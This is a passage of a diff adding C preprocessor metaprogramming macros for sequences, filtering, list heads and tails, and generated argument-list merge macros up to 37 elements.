+#define M_CROSSI_MAP2_52b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45, a46, a47, a48, a49, a50, a51, a52) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a25), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a26), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a27), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a28), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a29), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a30), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a31), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a32), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a33), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a34), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a35), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a36), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a37), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a38), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a39), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a40), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a41), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a42), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a43), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a44), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a45), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a46), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a47), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a48), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a49), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a50), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a51), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a52), M_ID blist) 
+
+/* Wrapper function that unpacks the argument to call the real macro with the right arguments */
+#define M_CROSSI_MAP2_F_A(d, b)         M_CROSSI_MAP2_F_B(M_ID d, b)
+#define M_CROSSI_MAP2_F_B(...)          M_CROSSI_MAP2_F_C(__VA_ARGS__)
+#define M_CROSSI_MAP2_F_C(f, d, a1, b1) f(d, a1, b1)
+
+
+/* Sequence of numbers
+   Example:
+    M_SEQ(init,end)==>init, init+1, ...end
+    M_MAP(f, M_SEQ(init, end)) ==> f(init) f(init+1) .... f(end)
+    M_MAP2(f, d, M_SEQ(init, end))
+*/
+#define M_SEQ(init, end) M_MID_ARGS(init, M_INC(M_SUB(end, init)), 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52)
+
+/* Replicate the value 'N' times */
+#define M_REPLICATE(N, value)                                                 \
+  M_MAP2(M_RET_ARG1, value, M_SEQ(1, N))
+
+/* Replicate the value 'N' times, separated by commas */
+#define M_REPLICATE_C(N, value)                                               \
+  M_MAP2_C(M_RET_ARG1, value, M_SEQ(1, N))
+
+/* Filter the elements of the list so that only the elements
+   that match the function f are returned.
+   f takes as argument (extra, item) and shall return 0 or 1. */
+#define M_FILTER(f, extra, ...)                                               \
+  M_MAP2( M_FILTER_00, (f, extra), __VA_ARGS__)
+
+/* Filter the elements of the list so that only the elements (separated by commas)
+   that match the function f are returned.
+   f takes as argument (extra, item) and shall return 0 or 1. */
+#define M_FILTER_C(f, extra, ...)                                             \
+  M_REMOVE_PARENTHESIS (M_REDUCE2(M_FILTER_00, M_CAT_ARGLIST, (f, extra), __VA_ARGS__) )
+
+/* d is (filter_function, extra_value) item is the element ot test */
+#define M_FILTER_00(d, item)                                                  \
+  M_IF(M_PAIR_1 d(M_PAIR_2 d, item))(item, )
+
+
+/* Return the HEAD element of a VA_ARGS */
+#define M_HEAD(x, ...)      x
+
+/* Return the second HEAD element of a VA_ARGS */
+#define M_HEAD_2(x, y, ...) y
+
+/* Return the tail sublist of the VA_ARGS (removing the HEAD) */
+#define M_TAIL(x, ...)      __VA_ARGS__
+
+/* Return the tail sublist of the sublist of the VA_ARGS (removing the 2 first elements) */
+#define M_TAIL_2(x, y, ...) __VA_ARGS__
+
+/* Return the tail sublist of the sublist of the VA_ARGS (removing the 3 first elements) */
+#define M_TAIL_3(x, y, z, ...) __VA_ARGS__
+
+
+/* Concatenate two arglists 'a' and 'b',
+   handling the case of empty arglist
+   handling the cases where the arguments are not arglist.
+   Always return an arglist within parenthesis if it concatenates
+   (internal macro)
+*/
+#define M_CAT_ARGLIST(a, b)                                                   \
+  M_IF_EMPTY(a)(b, M_IF_EMPTY(b)(a,( M_REMOVE_PARENTHESIS (a) , M_REMOVE_PARENTHESIS (b))))
+
+
+/* Merge two arglists 'a' and 'b'
+   (a1, a2, a3) and (b1, b2, b3) ==> ( (a1, b1) , (b1, b2), (a3, b3) )
+   They shall be non empty and of the same size.
+   (internal macro)
+   Generated by:
+    for i in $(seq  52) ; do printf "#define M_MERGE_ARGLIST_%d_%d(" $i $i ; for j in $(seq 1 $i) ; do printf "a%d, " $j ; done ; for j in $(seq 1 $i) ; do printf "b%d" $j ; if test $i != $j ; then printf ", " ; fi ; done ; printf ") " ; for j in $(seq 1 $i) ; do printf "(a%d, b%d) " $j $j ; if (test $i != $j ) ; then printf ", " ; fi ; done ; printf "\n" ; done
+*/
+#define M_MERGE_ARGLIST(a, b) ( M_APPLY( M_C4(M_MERGE_ARGLIST_, M_NARGS a, _, M_NARGS b), M_MERGE_ARGLIST_ID a, M_MERGE_ARGLIST_ID b) )
+#define M_MERGE_ARGLIST_ID(...)   __VA_ARGS__
+#define M_MERGE_ARGLIST_1_1(a1, b1) (a1, b1) 
+#define M_MERGE_ARGLIST_2_2(a1, a2, b1, b2) (a1, b1) , (a2, b2) 
+#define M_MERGE_ARGLIST_3_3(a1, a2, a3, b1, b2, b3) (a1, b1) , (a2, b2) , (a3, b3) 
+#define M_MERGE_ARGLIST_4_4(a1, a2, a3, a4, b1, b2, b3, b4) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) 
+#define M_MERGE_ARGLIST_5_5(a1, a2, a3, a4, a5, b1, b2, b3, b4, b5) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) 
+#define M_MERGE_ARGLIST_6_6(a1, a2, a3, a4, a5, a6, b1, b2, b3, b4, b5, b6) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) 
+#define M_MERGE_ARGLIST_7_7(a1, a2, a3, a4, a5, a6, a7, b1, b2, b3, b4, b5, b6, b7) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) 
+#define M_MERGE_ARGLIST_8_8(a1, a2, a3, a4, a5, a6, a7, a8, b1, b2, b3, b4, b5, b6, b7, b8) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) 
+#define M_MERGE_ARGLIST_9_9(a1, a2, a3, a4, a5, a6, a7, a8, a9, b1, b2, b3, b4, b5, b6, b7, b8, b9) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) 
+#define M_MERGE_ARGLIST_10_10(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) 
+#define M_MERGE_ARGLIST_11_11(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) 
+#define M_MERGE_ARGLIST_12_12(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) 
+#define M_MERGE_ARGLIST_13_13(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) 
+#define M_MERGE_ARGLIST_14_14(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) 
+#define M_MERGE_ARGLIST_15_15(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) 
+#define M_MERGE_ARGLIST_16_16(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) 
+#define M_MERGE_ARGLIST_17_17(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) 
+#define M_MERGE_ARGLIST_18_18(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) 
+#define M_MERGE_ARGLIST_19_19(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) 
+#define M_MERGE_ARGLIST_20_20(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) 
+#define M_MERGE_ARGLIST_21_21(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) 
+#define M_MERGE_ARGLIST_22_22(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) 
+#define M_MERGE_ARGLIST_23_23(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) 
+#define M_MERGE_ARGLIST_24_24(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) 
+#define M_MERGE_ARGLIST_25_25(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) , (a25, b25) 
+#define M_MERGE_ARGLIST_26_26(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) , (a25, b25) , (a26, b26) 
+#define M_MERGE_ARGLIST_27_27(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26, b27) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) , (a25, b25) , (a26, b26) , (a27, b27) 
+#define M_MERGE_ARGLIST_28_28(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26, b27, b28) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) , (a25, b25) , (a26, b26) , (a27, b27) , (a28, b28) 
+#define M_MERGE_ARGLIST_29_29(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26, b27, b28, b29) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) , (a25, b25) , (a26, b26) , (a27, b27) , (a28, b28) , (a29, b29) 
+#define M_MERGE_ARGLIST_30_30(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26, b27, b28, b29, b30) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) , (a25, b25) , (a26, b26) , (a27, b27) , (a28, b28) , (a29, b29) , (a30, b30) 
+#define M_MERGE_ARGLIST_31_31(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26, b27, b28, b29, b30, b31) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) , (a25, b25) , (a26, b26) , (a27, b27) , (a28, b28) , (a29, b29) , (a30, b30) , (a31, b31) 
+#define M_MERGE_ARGLIST_32_32(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26, b27, b28, b29, b30, b31, b32) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) , (a25, b25) , (a26, b26) , (a27, b27) , (a28, b28) , (a29, b29) , (a30, b30) , (a31, b31) , (a32, b32) 
+#define M_MERGE_ARGLIST_33_33(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26, b27, b28, b29, b30, b31, b32, b33) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) , (a25, b25) , (a26, b26) , (a27, b27) , (a28, b28) , (a29, b29) , (a30, b30) , (a31, b31) , (a32, b32) , (a33, b33) 
+#define M_MERGE_ARGLIST_34_34(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26, b27, b28, b29, b30, b31, b32, b33, b34) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) , (a25, b25) , (a26, b26) , (a27, b27) , (a28, b28) , (a29, b29) , (a30, b30) , (a31, b31) , (a32, b32) , (a33, b33) , (a34, b34) 
+#define M_MERGE_ARGLIST_35_35(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26, b27, b28, b29, b30, b31, b32, b33, b34, b35) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) , (a25, b25) , (a26, b26) , (a27, b27) , (a28, b28) , (a29, b29) , (a30, b30) , (a31, b31) , (a32, b32) , (a33, b33) , (a34, b34) , (a35, b35) 
+#define M_MERGE_ARGLIST_36_36(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26, b27, b28, b29, b30, b31, b32, b33, b34, b35, b36) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) , (a25, b25) , (a26, b26) , (a27, b27) , (a28, b28) , (a29, b29) , (a30, b30) , (a31, b31) , (a32, b32) , (a33, b33) , (a34, b34) , (a35, b35) , (a36, b36) 
+#define M_MERGE_ARGLIST_37_37(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26, b27, b28, b29, b30, b31, b32, b33, b34, b35, b36, b37) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) , (a25, b25) , (a26, b26) , (a27, b27) , (a28, b28) , (a29, b29) , (a30, b30) , (a31, b31) , (a32, b32) , (a33, b33) , (a34, b34) , (a35, b35) , (a36, b36) , (a37, b37) 
